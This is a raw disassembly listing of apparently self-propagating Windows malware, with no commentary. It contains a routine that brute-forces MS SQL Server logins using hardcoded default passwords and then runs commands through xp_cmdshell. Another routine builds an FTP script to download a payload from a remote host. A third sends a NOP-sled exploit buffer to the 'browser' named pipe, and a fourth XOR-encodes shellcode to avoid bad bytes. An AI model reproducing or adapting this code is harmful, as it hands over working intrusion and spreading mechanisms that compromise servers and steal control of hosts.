shr ecx, 2
rep movsd
mov eax, ds:dword_43D5F4
mov ecx, edx
and ecx, 3
rep movsb
mov [esp+14h+arg_89C], eax
loc_424052: ; CODE XREF: sub_423DF0+1F1j
mov ecx, 38Ah
mov eax, 31313131h
lea edi, [esp+14h+arg_14E0]
mov ebp, [esp+14h+arg_8290]
rep stosd
movsx ecx, bl
mov ebx, ds:dword_4B3C9C
add ecx, 4
push 0
lea edx, [esp+18h+arg_28]
push ecx
push edx
push ebp
stosb
call ebx
cmp eax, 0FFFFFFFFh
jnz short loc_424096
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_424096: ; CODE XREF: sub_423DF0+297j
mov esi, ds:dword_4B3C6C
push 0
lea eax, [esp+28h+arg_E90]
push 640h
push eax
push ebp
call esi
push 0
push 68h
push offset dword_43D264
push ebp
call ebx
cmp eax, 0FFFFFFFFh
jnz short loc_4240CC
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_4240CC: ; CODE XREF: sub_423DF0+2CDj
push 0
lea ecx, [esp+48h+arg_E70]
push 640h
push ecx
push ebp
call esi
push 0
push 0A0h
push offset dword_43D2D0
push ebp
call ebx
cmp eax, 0FFFFFFFFh
jnz short loc_4240FF
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_4240FF: ; CODE XREF: sub_423DF0+300j
push 0
lea edx, [esp+68h+arg_E50]
push 640h
push edx
push ebp
call esi
mov eax, [esp+74h+arg_8234]
test eax, eax
jz loc_4241E5
mov ecx, 1Ah
mov esi, offset dword_43D488
lea edi, [esp+74h+arg_6098]
push 0
rep movsd
mov ecx, 6D6h
lea esi, [esp+78h+arg_2464]
lea edi, [esp+78h+arg_6100]
lea eax, [esp+78h+arg_6098]
rep movsd
movsw
mov ecx, 1Ch
mov esi, offset dword_43D4F4
lea edi, [esp+78h+arg_3FC0]
push 10FCh
rep movsd
mov ecx, 297h
lea esi, [esp+7Ch+arg_34F8]
lea edi, [esp+7Ch+arg_4030]
push eax
rep movsd
movsw
mov ecx, 21h
mov esi, offset dword_43D568
lea edi, [esp+80h+arg_4AF4]
push ebp
rep movsd
call ebx
cmp eax, 0FFFFFFFFh
jnz short loc_4241AB
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_4241AB: ; CODE XREF: sub_423DF0+3ACj
push 0
lea ecx, [esp+88h+arg_E30]
push 640h
push ecx
push ebp
call ds:dword_4B3C6C
push 0
lea edx, [esp+98h+arg_3FA0]
push 0FDCh
push edx
push ebp
call ebx
cmp eax, 0FFFFFFFFh
jnz short loc_42424C
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_4241E5: ; CODE XREF: sub_423DF0+32Aj
mov ecx, 1Fh
mov esi, offset dword_43D374
lea edi, [esp+74h+arg_1480]
push 0
rep movsd
mov ecx, 1F4h
lea esi, [esp+78h+arg_90]
lea edi, [esp+78h+arg_14FC]
lea eax, [esp+78h+arg_1480]
rep movsd
mov ecx, 24h
mov esi, offset off_43D3F4
lea edi, [esp+78h+arg_1CCC]
push 0CF8h
push eax
push ebp
rep movsd
mov [esp+84h+arg_2177], 0
call ebx
cmp eax, 0FFFFFFFFh
jnz short loc_42424C
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_42424C: ; CODE XREF: sub_423DF0+3E6j
; sub_423DF0+44Dj
push 12Ch
call ds:dword_4B38CC
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+164h+arg_8140]
mov edi, esp
rep movsd
movsw
call sub_40135C
add esp, 0BCh
test al, al
pop edi
pop esi
pop ebp
pop ebx
setnz al
add esp, 81D8h
retn
sub_423DF0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 130h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4243C0: ; CODE XREF: _294ADE7B:00401C8Aj
sub esp, 650h
xor eax, eax
push ebx
mov [esp+4], eax
push esi
mov [esp+0Ch], eax
lea ecx, [esp+660h]
push edi
mov [esp+14h], eax
push ecx
mov [esp+1Ch], eax
mov word ptr [esp+10h], 2
call ds:dword_4B3CBC
mov edx, [esp+6FEh]
mov [esp+10h], eax
push edx
call ds:dword_4B3CB0
push 6
push 1
push 2
mov [esp+1Ah], ax
call ds:dword_4B3CAC
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_424426
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_424426: ; CODE XREF: _294ADE7B:00424418j
lea eax, [esp+0Ch]
push 10h
push eax
push ebx
call ds:dword_4B3CB4
cmp eax, 0FFFFFFFFh
jnz short loc_424445
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_424445: ; CODE XREF: _294ADE7B:00424437j
mov edi, ds:dword_4B3C9C
push 0
push 89h
push offset dword_43CFE8
push ebx
call edi
cmp eax, 0FFFFFFFFh
jnz short loc_42446B
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_42446B: ; CODE XREF: _294ADE7B:0042445Dj
mov esi, ds:dword_4B3C6C
push 0
lea ecx, [esp+20h]
push 640h
push ecx
push ebx
call esi
push 0
push 0A8h
push offset dword_43D074
push ebx
call edi
cmp eax, 0FFFFFFFFh
jnz short loc_4244A0
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_4244A0: ; CODE XREF: _294ADE7B:00424492j
push 0
lea edx, [esp+20h]
push 640h
push edx
push ebx
call esi
push 0
push 0DEh
push offset dword_43D120
push ebx
call edi
cmp eax, 0FFFFFFFFh
jnz short loc_4244CF
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_4244CF: ; CODE XREF: _294ADE7B:004244C1j
push 0
lea eax, [esp+20h]
push 640h
push eax
push ebx
call esi
movsx eax, byte ptr [esp+60h]
sub eax, 30h
jz short loc_4244FB
dec eax
jz short loc_4244F7
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_4244F7: ; CODE XREF: _294ADE7B:004244E9j
push 0
jmp short loc_42452E
; ---------------------------------------------------------------------------
loc_4244FB: ; CODE XREF: _294ADE7B:004244E6j
push 2
push ebx
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+724h]
mov edi, esp
rep movsd
movsw
call sub_401744
add esp, 0C4h
test al, al
jz short loc_42452C
mov esi, 1
jmp short loc_42455A
; ---------------------------------------------------------------------------
loc_42452C: ; CODE XREF: _294ADE7B:00424523j
push 1
loc_42452E: ; CODE XREF: _294ADE7B:004244F9j
push ebx
mov ecx, 2Eh
sub esp, 0BCh
lea esi, [esp+724h]
mov edi, esp
rep movsd
movsw
call sub_401744
add esp, 0C4h
neg al
sbb eax, eax
neg eax
mov esi, eax
loc_42455A: ; CODE XREF: _294ADE7B:0042452Aj
push ebx
call ds:dword_4B3CA8
test esi, esi
jz short loc_424588
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+71Ch]
mov edi, esp
rep movsd
movsw
call sub_401131
add esp, 0BCh
loc_424588: ; CODE XREF: _294ADE7B:00424563j
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424620: ; CODE XREF: _294ADE7B:00401D43j
sub esp, 0C44h
mov al, ds:byte_43FDC8
mov ecx, offset aRoot ; "root"
push ebx
push ebp
mov [esp+28h], ecx
mov [esp+40h], ecx
push esi
lea ecx, [esp+18h]
push edi
xor edx, edx
mov [esp+13h], al
push ecx
mov esi, offset aSa ; "sa"
mov eax, offset aAdmin ; "admin"
push edx
push 1
mov [esp+38h], esi
mov [esp+40h], eax
mov [esp+44h], edx
mov dword ptr [esp+48h], offset byte_43FDC8
mov [esp+4Ch], eax
mov [esp+50h], esi
mov dword ptr [esp+58h], offset aH4x0r ; "h4x0r"
mov [esp+5Ch], edx
mov [esp+30h], edx
mov [esp+24h], edx
mov [esp+20h], edx
call sub_430310
test ax, ax
jz short loc_42469F
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0C44h
retn
; ---------------------------------------------------------------------------
loc_42469F: ; CODE XREF: _294ADE7B:00424690j
mov edx, [esp+1Ch]
push 0FFFFFFFAh
push 3
push 0C8h
push edx
call sub_43030A
test ax, ax
jz short loc_4246C4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0C44h
retn
; ---------------------------------------------------------------------------
loc_4246C4: ; CODE XREF: _294ADE7B:004246B5j
mov ecx, [esp+1Ch]
lea eax, [esp+18h]
push eax
push ecx
push 2
call sub_430310
test ax, ax
jz short loc_4246F3
mov edx, [esp+1Ch]
push edx
push 1
call sub_430304
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0C44h
retn
; ---------------------------------------------------------------------------
loc_4246F3: ; CODE XREF: _294ADE7B:004246D8j
test esi, esi
jz loc_42488E
mov ebp, ds:dword_4B3C18
lea ecx, [esp+2Ch]
mov [esp+20h], ecx
loc_424709: ; CODE XREF: _294ADE7B:00424881j
mov eax, offset byte_43FDC8
test eax, eax
jz loc_424871
mov ebx, [ecx]
lea esi, [esp+3Ch]
loc_42471C: ; CODE XREF: _294ADE7B:0042479Cj
mov edx, [esp+0CF6h]
lea ecx, [esp+13h]
push ecx
push eax
push ebx
lea eax, [esp+0C68h]
push edx
push eax
lea ecx, [esp+468h]
push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
push ecx
call ebp
add esp, 1Ch
lea edx, [esp+2Ah]
lea eax, [esp+854h]
lea edi, [esp+454h]
push 0
push edx
push 400h
push eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edx, [esp+28h]
not ecx
dec ecx
push ecx
lea ecx, [esp+468h]
push ecx
push eax
push edx
call sub_4302FE
test ax, ax
jz short loc_4247A7
cmp ax, 1
jz short loc_4247A7
push 1F4h
call ds:dword_4B38CC
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz loc_42471C
jmp loc_424871
; ---------------------------------------------------------------------------
loc_4247A7: ; CODE XREF: _294ADE7B:00424781j
; _294ADE7B:00424787j
mov ecx, [esp+18h]
lea eax, [esp+14h]
push eax
push ecx
push 3
call sub_430310
mov ecx, offset byte_4403A9
call sub_401726
push eax
mov ecx, offset byte_4403A9
call sub_401726
push eax
mov ecx, offset byte_4403A9
call sub_401726
push eax
mov ecx, offset byte_4403A9
call sub_401726
mov edx, ds:dword_4404E7
push eax
mov eax, [esp+0C68h]
push edx
push eax
call sub_401CC1
add esp, 4
lea ecx, [esp+68h]
push eax
push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
push ecx
call ebp
mov eax, [esp+34h]
add esp, 20h
lea edx, [esp+54h]
push 0FFFFFFFDh
push edx
push eax
call sub_4302F8
test ax, ax
jz short loc_424865
mov esi, ds:dword_4B38CC
push 1388h
call esi
mov ecx, offset byte_4403A9
call sub_401726
push eax
lea ecx, [esp+58h]
push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
push ecx
call ebp
mov eax, [esp+20h]
add esp, 0Ch
lea edx, [esp+54h]
push 0FFFFFFFDh
push edx
push eax
call sub_4302F8
test ax, ax
jz short loc_424886
push 1388h
call esi
loc_424865: ; CODE XREF: _294ADE7B:0042481Fj
mov ecx, [esp+14h]
push ecx
push 3
call sub_430304
loc_424871: ; CODE XREF: _294ADE7B:00424710j
; _294ADE7B:004247A2j
mov ecx, [esp+20h]
add ecx, 4
mov [esp+20h], ecx
cmp dword ptr [ecx], 0
jz short loc_42488E
jmp loc_424709
; ---------------------------------------------------------------------------
loc_424886: ; CODE XREF: _294ADE7B:0042485Cj
mov dword ptr [esp+24h], 1
loc_42488E: ; CODE XREF: _294ADE7B:004246F5j
; _294ADE7B:0042487Fj
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+0D14h]
mov edi, esp
rep movsd
movsw
call sub_401131
mov edx, [esp+0D4h]
add esp, 0BCh
push edx
push 2
call sub_430304
mov eax, [esp+1Ch]
push eax
push 1
call sub_430304
mov eax, [esp+24h]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0C44h
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 0B0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424990: ; CODE XREF: _294ADE7B:00401D02j
push edi
push 0C8h
call ds:dword_4B38CC
mov edx, [esp+0Ch]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
mov eax, [esp+8]
push 0
not ecx
dec ecx
push ecx
push edx
push eax
call ds:dword_4B3C9C
cmp eax, 0FFFFFFFFh
pop edi
setnz al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4249E0 proc near ; CODE XREF: sub_401960j
var_5A0 = dword ptr -5A0h
var_59C = dword ptr -59Ch
var_598 = dword ptr -598h
var_594 = dword ptr -594h
var_590 = byte ptr -590h
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_BC = dword ptr 0C0h
sub esp, 5A0h
xor eax, eax
push ebx
mov [esp+5A4h+var_5A0], eax
push ebp
mov [esp+5A8h+var_59C], eax
push esi
lea ecx, [esp+5ACh+arg_4]
push edi
mov [esp+5B0h+var_598], eax
push ecx
mov [esp+5B4h+var_594], eax
mov word ptr [esp+5B4h+var_5A0], 2
call ds:dword_4B3CBC
mov edx, [esp+5B0h+arg_BC]
mov [esp+5B0h+var_59C], eax
push edx
call ds:dword_4B3CB0
push 0
push 1
push 2
mov word ptr [esp+5BCh+var_5A0+2], ax
call ds:dword_4B3CAC
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_424A48
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_424A48: ; CODE XREF: sub_4249E0+59j
lea eax, [esp+5B0h+var_5A0]
push 10h
push eax
push esi
call ds:dword_4B3CB4
cmp eax, 0FFFFFFFFh
jnz short loc_424A68
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_424A68: ; CODE XREF: sub_4249E0+79j
push 0
lea ecx, [esp+5B4h+var_400]
push 400h
push ecx
push esi
call ds:dword_4B3C6C
mov ecx, offset byte_4403A9
call sub_401726
push eax
mov ecx, offset byte_4403A9
call sub_401726
mov edx, ds:dword_4404E7
push eax
mov eax, [esp+5B8h+arg_0]
push edx
push eax
call sub_401CC1
mov ebx, ds:dword_4B3AA8
add esp, 4
lea ecx, [esp+5BCh+var_590]
push eax
push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"...
push 190h
push ecx
call ebx
lea edi, [esp+5CCh+var_590]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 1Ch
repne scasb
mov ebp, ds:dword_4B3C9C
push 0
not ecx
dec ecx
lea edx, [esp+5B4h+var_590]
push ecx
push edx
push esi
call ebp
cmp eax, 0FFFFFFFFh
jnz short loc_424AF7
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_424AF7: ; CODE XREF: sub_4249E0+108j
push 1F4h
call ds:dword_4B38CC
mov ecx, offset byte_4403A9
call sub_401726
push eax
push offset dword_43BBBC
lea eax, [esp+5B8h+var_590]
push 190h
push eax
call ebx
lea edi, [esp+5C0h+var_590]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
lea ecx, [esp+5B8h+var_590]
push ecx
push esi
call ebp
cmp eax, 0FFFFFFFFh
jnz short loc_424B4C
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_424B4C: ; CODE XREF: sub_4249E0+15Dj
push 0
lea edx, [esp+5B4h+var_400]
push 400h
push edx
push esi
call ds:dword_4B3C6C
push esi
call ds:dword_4B3CA8
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 5A0h
retn
sub_4249E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424BF0: ; CODE XREF: _294ADE7B:00401FEBj
mov eax, 1E88h
call sub_430390
push esi
push edi
mov ecx, 20Ch
xor eax, eax
lea edi, [esp+238h]
mov esi, offset dword_43DB08
rep stosd
mov ecx, 0FAh
mov eax, 90909090h
lea edi, [esp+0A68h]
mov edx, ds:dword_4B2300
rep stosd
mov ecx, 56h
lea edi, [esp+0CDEh]
rep movsd
mov eax, ds:dword_43DD80
mov ecx, 10h
movsw
movsb
lea edi, [esp+0E50h]
mov esi, offset dword_43DAB8
rep stosd
mov eax, ds:dword_43DD78
mov ecx, 0Bh
lea edi, [esp+238h]
rep movsd
mov ecx, 10Ah
lea esi, [esp+0A68h]
lea edi, [esp+270h]
mov [esp+264h], eax
mov [esp+268h], edx
mov [esp+26Ch], eax
rep movsd
mov ecx, 7
mov esi, offset dword_43DAE8
lea edi, [esp+69Ch]
mov ax, ds:word_43DD74
mov [esp+698h], edx
lea edx, [esp+30h]
rep movsd
mov esi, ds:dword_4B3AA8
lea ecx, [esp+1E98h]
push ecx
push offset dword_43D930
push 104h
push edx
mov [esp+6BCh], ax
call esi
add esp, 10h
xor edi, edi
lea ecx, [esp+10h]
lea eax, [esp+30h]
push edi
push offset byte_43FDC8
push offset byte_43FDC8
push ecx
mov [esp+24h], edi
mov [esp+30h], edi
mov [esp+3Ch], edi
mov [esp+34h], eax
call sub_430AC2
test eax, eax
jz short loc_424D15
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_424D15: ; CODE XREF: _294ADE7B:00424D07j
lea edx, [esp+1E98h]
lea eax, [esp+134h]
push edx
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push 104h
push eax
call esi
add esp, 10h
lea ecx, [esp+134h]
push edi
push edi
push 3
push edi
push edi
push 0C0000000h
push ecx
call ds:dword_4B38B4
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_424D5F
or eax, eax
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_424D5F: ; CODE XREF: _294ADE7B:00424D52j
lea edx, [esp+0Ch]
push edi
push edx
lea eax, [esp+0E98h]
push 1000h
push eax
push 49h
push offset dword_43DA6C
push esi
call ds:dword_4B3858
test eax, eax
jnz short loc_424D97
push esi
call ds:dword_4B38C8
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_424D97: ; CODE XREF: _294ADE7B:00424D82j
lea ecx, [esp+8]
push edi
push ecx
lea edx, [esp+240h]
push 830h
push edx
push esi
call ds:dword_4B38A0
test eax, eax
jnz short loc_424DC8
push esi
call ds:dword_4B38C8
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_424DC8: ; CODE XREF: _294ADE7B:00424DB3j
push 115Ch
mov ecx, 2Eh
sub esp, 0BCh
lea esi, [esp+1F54h]
mov edi, esp
rep movsd
movsw
call sub_401960
add esp, 0C0h
neg al
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
db 90h
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424E90 proc near ; CODE XREF: sub_40136Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [esp+4+arg_0]
not ecx
dec ecx
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
pop edi
lea eax, [ecx+edx*2+0C1h]
retn
sub_424E90 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424ED0 proc near ; CODE XREF: sub_4016E5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_8]
push esi
mov esi, [esp+8+arg_C]
push esi
push ebx
call sub_40136B
mov ecx, [esp+10h+arg_4]
add esp, 8
cmp eax, ecx
mov [esp+8+arg_8], eax
jbe short loc_424EF5
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424EF5: ; CODE XREF: sub_424ED0+1Ej
push ebp
push edi
or ecx, 0FFFFFFFFh
mov edi, ebx
xor eax, eax
mov ebp, [esp+10h+arg_0]
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov esi, offset dword_43DDB8
mov eax, ecx
mov edi, ebp
lea ecx, [eax+edx+12h]
mov ds:dword_43DE1C, ecx
lea ecx, [eax+1]
mov ds:dword_43DE3D, ecx
lea ecx, [eax+17h]
mov ds:dword_43DE35, ecx
mov ecx, 0FFFFFFEDh
sub ecx, eax
mov ds:dword_43DE4B, ecx
mov ecx, 1Dh
rep movsd
mov ecx, edx
mov esi, ebx
mov ebx, ecx
lea edi, [ebp+74h]
shr ecx, 2
rep movsd
mov ecx, ebx
add edx, 74h
and ecx, 3
rep movsb
mov esi, ds:dword_43DE2C
lea ecx, [edx+ebp]
add edx, 5
mov [ecx], esi
mov bl, ds:byte_43DE30
mov esi, [esp+10h+arg_C]
lea edi, [edx+ebp]
mov [ecx+4], bl
mov ecx, eax
mov ebx, ecx
add edx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov esi, ds:dword_43DE31
lea ecx, [edx+ebp]
add edx, 10h
mov [ecx], esi
mov esi, ds:dword_43DE35
lea edi, [edx+ebp]
mov [ecx+4], esi
mov esi, ds:dword_43DE39
mov [ecx+8], esi
mov esi, ds:dword_43DE3D
mov [ecx+0Ch], esi
mov esi, [esp+10h+arg_C]
mov ecx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [edx+eax]
mov eax, [esp+10h+arg_8]
add edi, ebp
mov ecx, 0Eh
mov esi, offset byte_43DE41
rep movsd
pop edi
pop ebp
pop esi
pop ebx
retn
sub_424ED0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425040 proc near ; CODE XREF: sub_401FD7j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40136B
push eax
call sub_401703
add esp, 0Ch
retn
sub_425040 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425070: ; CODE XREF: _294ADE7B:00401695j
push ebx
mov ebx, [esp+10h]
push ebp
push edi
mov edi, [esp+1Ch]
push edi
push ebx
call sub_401FD7
mov ebp, [esp+1Ch]
add esp, 8
cmp eax, ebp
jbe short loc_425093
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425093: ; CODE XREF: _294ADE7B:0042508Bj
cmp eax, 0FFFFh
jbe short loc_4250A0
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4250A0: ; CODE XREF: _294ADE7B:00425098j
push esi
push edi
push ebx
call sub_40136B
add eax, 101h
push eax
call ds:dword_4B3AB0
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_40136B
add esp, 8
push eax
push esi
call sub_4016E5
push eax
mov eax, [esp+28h]
push esi
push ebp
push eax
call sub_401A82
push esi
mov edi, eax
call ds:dword_4B3AAC
add esp, 24h
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425110 proc near ; CODE XREF: sub_401703j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_425119
inc ecx
loc_425119: ; CODE XREF: sub_425110+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_425110 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425140 proc near ; CODE XREF: sub_401A82j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_C]
cmp bl, 0Ah
jz short loc_425158
cmp bl, 0Dh
jz short loc_425158
cmp bl, 5Ch
jz short loc_425158
test bl, bl
jnz short loc_425159
loc_425158: ; CODE XREF: sub_425140+8j
; sub_425140+Dj ...
inc ebx
loc_425159: ; CODE XREF: sub_425140+16j
cmp ebx, 0FFh
jbe short loc_42517C
mov eax, ebx
shr eax, 8
cmp al, 0Ah
jz short loc_425176
cmp al, 0Dh
jz short loc_425176
cmp al, 5Ch
jz short loc_425176
test al, al
jnz short loc_42517C
loc_425176: ; CODE XREF: sub_425140+28j
; sub_425140+2Cj ...
add ebx, 100h
loc_42517C: ; CODE XREF: sub_425140+1Fj
; sub_425140+34j
push ebx
call sub_401703
mov ecx, [esp+8+arg_4]
add esp, 4
cmp eax, ecx
mov [esp+4+arg_C], eax
jbe short loc_425195
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425195: ; CODE XREF: sub_425140+4Fj
cmp eax, 0FFFFh
jbe short loc_4251A0
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4251A0: ; CODE XREF: sub_425140+5Aj
mov al, ds:byte_4B2308
xor edx, edx
push ebp
mov ebp, [esp+8+arg_8]
test ebx, ebx
push esi
jbe short loc_4251D0
loc_4251B1: ; CODE XREF: sub_425140+8Ej
mov cl, [edx+ebp]
xor cl, al
jz short loc_4251C7
cmp cl, 0Ah
jz short loc_4251C7
cmp cl, 0Dh
jz short loc_4251C7
cmp cl, 5Ch
jnz short loc_4251CB
loc_4251C7: ; CODE XREF: sub_425140+76j
; sub_425140+7Bj ...
inc al
xor edx, edx
loc_4251CB: ; CODE XREF: sub_425140+85j
inc edx
cmp edx, ebx
jb short loc_4251B1
loc_4251D0: ; CODE XREF: sub_425140+6Fj
cmp ebx, 0FFh
push edi
mov ds:byte_4B2308, al
ja short loc_425203
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset dword_43DDA0
mov edi, edx
mov ds:byte_43DDAD, bl
mov ds:byte_43DDB1, al
rep movsd
movsb
mov esi, 15h
jmp short loc_425229
; ---------------------------------------------------------------------------
loc_425203: ; CODE XREF: sub_425140+9Cj
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset dword_43DD88
mov edi, edx
mov ds:word_43DD96, bx
mov ds:byte_43DD9B, al
rep movsd
movsw
movsb
mov esi, 17h
loc_425229: ; CODE XREF: sub_425140+C1j
xor ecx, ecx
pop edi
test ebx, ebx
jbe short loc_42523F
add esi, edx
loc_425232: ; CODE XREF: sub_425140+FDj
mov dl, [ecx+ebp]
xor dl, al
mov [esi+ecx], dl
inc ecx
cmp ecx, ebx
jb short loc_425232
loc_42523F: ; CODE XREF: sub_425140+EEj
mov eax, [esp+0Ch+arg_C]
pop esi
pop ebp
pop ebx
retn
sub_425140 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4252A0 proc near ; CODE XREF: sub_401CEEj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
xor ecx, ecx
lea eax, [eax+eax*2]
mov ds:dword_442037[eax*4], ecx
mov ds:dword_442023[eax*4], ecx
mov ds:dword_442027[eax*4], ecx
mov ds:dword_44202B[eax*4], ecx
mov ds:dword_44202F[eax*4], ecx
mov ds:dword_442033[eax*4], ecx
mov ds:byte_441E23[eax*4], cl
mov ds:byte_44203B[eax*4], cl
retn
sub_4252A0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425310 proc near ; CODE XREF: sub_401325j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp ecx, ebx
jle loc_4253C7
cmp ecx, 200h
jge loc_4253C7
lea eax, [ecx+ecx*2]
push esi
shl eax, 4
sub eax, ecx
push edi
push ebx
lea esi, [eax+eax*2]
mov eax, ds:dword_442037[esi*4]
push eax
call ds:dword_4B3854
cmp ds:dword_442037[esi*4], ebx
jz short loc_425358
mov ebp, 1
loc_425358: ; CODE XREF: sub_425310+41j
mov ds:dword_442037[esi*4], ebx
mov ds:dword_442023[esi*4], ebx
mov ds:dword_442027[esi*4], ebx
mov eax, ds:dword_44202B[esi*4]
cmp eax, ebx
jbe short loc_425381
push eax
call sub_401B4F
add esp, 4
loc_425381: ; CODE XREF: sub_425310+66j
